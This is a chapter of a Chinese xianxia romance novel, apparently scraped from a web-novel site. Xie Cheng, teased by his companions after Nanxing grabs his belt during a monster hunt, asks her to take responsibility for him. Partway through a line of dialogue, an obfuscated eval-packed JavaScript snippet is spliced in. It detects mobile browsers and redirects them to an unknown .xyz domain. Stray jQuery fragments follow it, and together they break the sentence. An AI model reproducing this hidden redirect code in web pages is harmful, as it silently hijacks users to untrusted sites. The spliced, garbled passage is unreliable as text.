凉歌小镇中妖气翻涌,如潮水覆顶压的喘不过气。
一队人走的谨慎,往日熙熙攘攘的小镇中生机断绝,没有半点活人的踪迹。
突然,走在最前方的谢羽廷猛地停下脚步,抬手拎起没刹住的高喻夏的后颈。
下一瞬,地面塌陷出深不可测的巨大地道,腥臭味呛得队伍连连后撤。洞穴深处阳光照不到的角落,偶尔传出压抑的兽吼。
谢澄朝谢羽廷招手,让他撤到后方保护其他人。自己则唤出纯钧剑蹲到深坑旁。
屠镇之事性质恶劣,还发生在唯一一个接纳妖界的人界边境。对三界的影响前所未有,他必须查明前因后果,传信给崔氏。
正当谢澄站起打算一跃而下时,却被扯住了……腰带。
谢澄僵硬地偏过头来。
他从小到大从没有过如此、如此手足无措的境遇。
谢澄满脸通红,对着眼前神色平静的南星,更衬的他心潮澎湃。那双清亮又凉薄的眼睛仿佛将他看穿。
心在躁动,在惊鸣,在用要昭告天下的声音喊出心里话。
南星恍若未觉,她顺着腰带使力把人拢到自己身边。
分明她只到他的胸膛,分明她身量纤纤。
可此情此景,众人却从对凡事都淡淡的南星周身,感受到了令人胆寒的保护欲。
南星站在队伍最前方,手搭在谢澄腰际,趁着众人犯愣,她死死盯着洞穴最深处。
唇瓣开合,无声说道:“既然嗅到那位的气息,还不快滚。”
除她之外,无人注意到适才谢澄靠近洞口时一闪而过的红瞳和陡然浓郁的黑暗。
而等南星到来后,黑暗破碎。
危机解除,南星解释道:“是地腐尸鼠,很危险,大家不要分散。”
可伙伴们却神色各异,满脸复杂。
南星疑惑,自然而然地松开环着谢澄腰际的手,为大家重新调整好队形。
她警惕地打头开路,没注意到身后炸锅的伙伴,和从头到脚红成柿子一句话都听不进去的谢澄。
仙界虽不及人界重繁文缛节,但也有基本的礼义廉耻,三规四德。
谢澄儿时听师长谆谆教诲:“男子绅带,女子勿触。非妻解之,视为辱德。”
她抱我?
她扯我腰带?
她……想玩我?
沈酣棠护着亦岚三人,小声道:“不是吧,刚刚谢澄被……轻薄了?”
王进宝看热闹不嫌事大,顶着谢羽廷警告的目光,拍了拍谢澄的肩膀把人从胡思乱想中拽了出来。
他尚且背着燕决明,都没拦住他拿腔拿调地清清嗓子:“谢澄,我要是你,就趁此机会要个名分。”
燕决明:?
谢羽廷:?
谢澄:?
谢羽廷忍无可忍,挡在他和谢澄中间呵斥道:“放肆,你和我家少主浑说些什么!”
王进宝“切”了一声。
“我认识的姑娘比你家少主练过的剑谱都多,等他想学了我还未必肯教嘞。”
谢澄拨开谢羽廷,抿唇道:“你说。”
王进宝一脸得意。
“南星这人,在情爱上完全不开窍。天外天里有人用信鸽给她写情书,被她当成细作扭送到皇甫肃那里去了……还有高喻夏那小子,别看平日乖巧懂事像只呆头鹅,心眼子多得跟莲藕一样,明里暗里找人打听南星的喜好。”
王进宝一骨碌说了溜长的话,人名点卯般往出蹦。从内门到外门,从吴涯同辈的师兄到新入门的弟子。
谢澄的脸越来越黑。
他怎么不知道这些事!
他整日跟在南星身边,那群家伙是老鼠吗这么会钻空子!
谁料王进宝沉默片刻,掩耳盗铃般让燕决明和谢羽廷互相捂住对方的耳朵。
谢澄忍无可忍,让他别找事赶紧讲。
王进宝咽了口唾沫,满脸“这可是你让我说的到时候千万别后悔后悔也没用”的神情。
“哎呀其余情敌你不放在眼里就算了,你小叔可是三界第一美男子哎!还是定海神针级别的大神。你哪里抢得过他啊?”
“不过嘛,你也有优势。近水楼台先得月,南星刚还轻薄了你。趁着年轻还有点姿色赶紧逼婚吧,兄弟我只能帮你到这里了。”
王进宝一口气讲完,累到大喘气,邀功似的朝谢澄抛了个媚眼。
氛围凝滞下来。
燕决明素日温和的、不起波澜的面庞此时如狂风过境。
南星,你还真是,总令人意外。
受到打击最大的就是谢羽廷。
他刚听到了什么?
王进宝这个不入流的纨绔登徒子在胡编乱造些什么?还偏偏一副言之凿凿很可信的模样!
他的家主,他的少主,他……
他幽怨地盯着南星潇洒自如的背影。
谢羽廷勉强维持住自己的冰块脸,从喉咙深处憋出一句压着怒火的:“荒谬绝伦。”
且不说家主拒人于千里之外的神秘做派,便是风靡仙门的《黄莺小报》也未敢编排谢黄麟只言片语。
高风亮节、光风霁月、战无不胜。
家主乃是一脚踏入至高境的半仙,岂会夺侄所爱,迷上个初出茅庐的晚辈?
更何况。
他家少主三岁能文,七岁习剑,十二岁便得神剑认主。论天资出身、秉性相貌,样样是天地萃英灵。自幼予取予求、无有不应,据斗运枢、得天独厚。三界九州上天入地,所到之处万人俯首。
这般傲世轻物的不二天骄,居然……
居然要趁年轻用名节来逼婚?
不是王进宝疯了就是自己疯了,总不可能是他家少主疯了吧!
谢羽廷皱着眉,满脸着急地殷殷望着谢澄。
他在等。
等他家少主一句话把王进宝噎死,或者像小时候那样把他倒挂在树上。无论动手还是动口,总之把这个满嘴谎话挑拨叔侄关系的骗子狠狠教训一顿。
叫什么王进宝啊,改名叫王八蛋算了。
如果眼神能杀人,王进宝已经被谢羽廷削成球了。
“她会同意吗?”
谢羽廷和燕决明愕然抬首,定定望着脸上写满“患得患失”的谢澄。
不、会、吧。
谢羽廷倒吸一口凉气,闷声道:“少主,不会吧?”
谢澄平静点头。
“我也觉得她不会。”
谢澄不知道王进宝之所以说谢黄麟喜欢南星,就是他和卞垚炎那天坠星崖下偷听来的。他以为有什么自己没掌握的消息,比如小叔暗地里找过南星。
背着他。
谢澄的心中滋生出密密麻麻的酸涩。
像春雨落在隆冬过后的积雪的土地上,温柔的雨滴下,雪瑟缩着融化,痒痒的。
一想到小叔和南星单独相处,而且南星丝毫没跟自己提过。
那份懵懂的酸涩,就被胡思乱想的妒忌浸泡染黑,成了钻心剜骨、销魂夺魄的恨。
谢羽廷闻言怔愣,随即紧闭双眼,恨铁不成钢说:“少主,我没说南星
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046582|176712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师姐会不会答应,我的意思是,您不会真打算去要个名分吧?”
谢澄陷入沉默。
也许是战事当头,生死悬空,人总会生出超脱平日的勇气,积攒几日又无处宣泄,慢慢成了执念。
贪嗔痴妄。
“我有话想去问问她,你们保护好这几个新弟子。”
丢下这句话,谢澄朝着队伍最前端的南星走去。
他刚走近,就看见站在南星后方的高喻夏脚底一滑差点跌倒。
南星如有所感,及时转身伸手稳稳接住高喻夏的后背,将人撑起。
高喻夏低头,才发现只是踩到了一滩被叶片覆盖的血泊,不是什么妖兽作祟,放下心来。
“多谢师姐。”
南星收回手,没有应声,继续往前开路。
突然,有人拽住了她的手腕。
南星以为是高喻夏,皱着眉回头。却发现原本站在她身后的高喻夏被挤到一旁,应该站在最后方的谢澄取而代之。
南星歪头:“有什么不对劲吗?”
今晨的雪亦不如夜间大,几粒霜雪凝在谢澄睫毛尖上。他轻轻眨眼,雪便扑簌扑簌落下。
眼角泛红,红唇紧抿,就固执地拉着南星,不说话。
却也不肯放手。
这副受了天大委屈的可怜模样,浑像琼花村里冰天雪地贪玩归家的小狗。在外威风凛凛打遍天下无敌手,刚靠近温暖的茅屋炉火,就抖尽身上的落雪,装模做样地缩进主人怀里卖乖。
南星不由自主看向谢澄颈间挂着的土狗木雕。
以往总说这物件儿和他不搭,如今再看,竟然有几分像。
南星看了眼身后暗戳戳观望的同伴们,无奈道:“谁又惹你了?算了,边走边说吧。”
南星赶路时,谢澄仍旧握着她的手腕。
他本想等南星追问,可她偏偏不问不理,却也不甩开他的手,只顾埋头走。
这般纵容又不关心的做派,轻而易举搅乱了谢澄的满腹心事。
他原本想问什么呢?
想要个名分?
可他刚刚看见南星拉住快要跌倒的高喻夏,才明白南星拽他腰带,兴许只是……
她什么也不懂。
谢澄忽而松了口气。
心里那份攀爬生长的怨与妒都被重新掂量,他像个死囚,在获批缓刑后得到将功赎罪的机会。
南星自幼长于边陲乡野,与高山大海为伍,不曾受条条框框束缚。她足够强大,藏经阁中所有的咒律都不会拒绝她。
但情爱一事太过玄妙,哪怕南星天纵英才,不懂也正常。
他不会笑话她的。
故而,她才会随意抓住他的腰带,她才会总对他似是而非,她才会……同时喜欢两个人。
谢澄终于为南星的多情找到了绝妙的借口,心满意足地笑起来。
也许王进宝说的对。
随即,他眨了眨眼道:“师妹,对于仙门未婚男子而言,被触碰腰带是很严重的事情。而且这么多人都看到了。”
南星以为他在逗趣,嗤笑道:“怎么,会被杀头吗?那师兄还是早日告发我为好。”
谢澄眸中盈满促狭的神色,他抿唇轻声道:“你理应对我负责。”
见南星如五雷轰顶般愣住,谢澄更直白地强调:“给我个名分的那种负责。”
此话一出,被抢了位置忿忿不平的高喻夏抬首,最后方用扩音法宝偷听的三人更是大惊失色。
五个人齐齐看向南星。
等一个答案。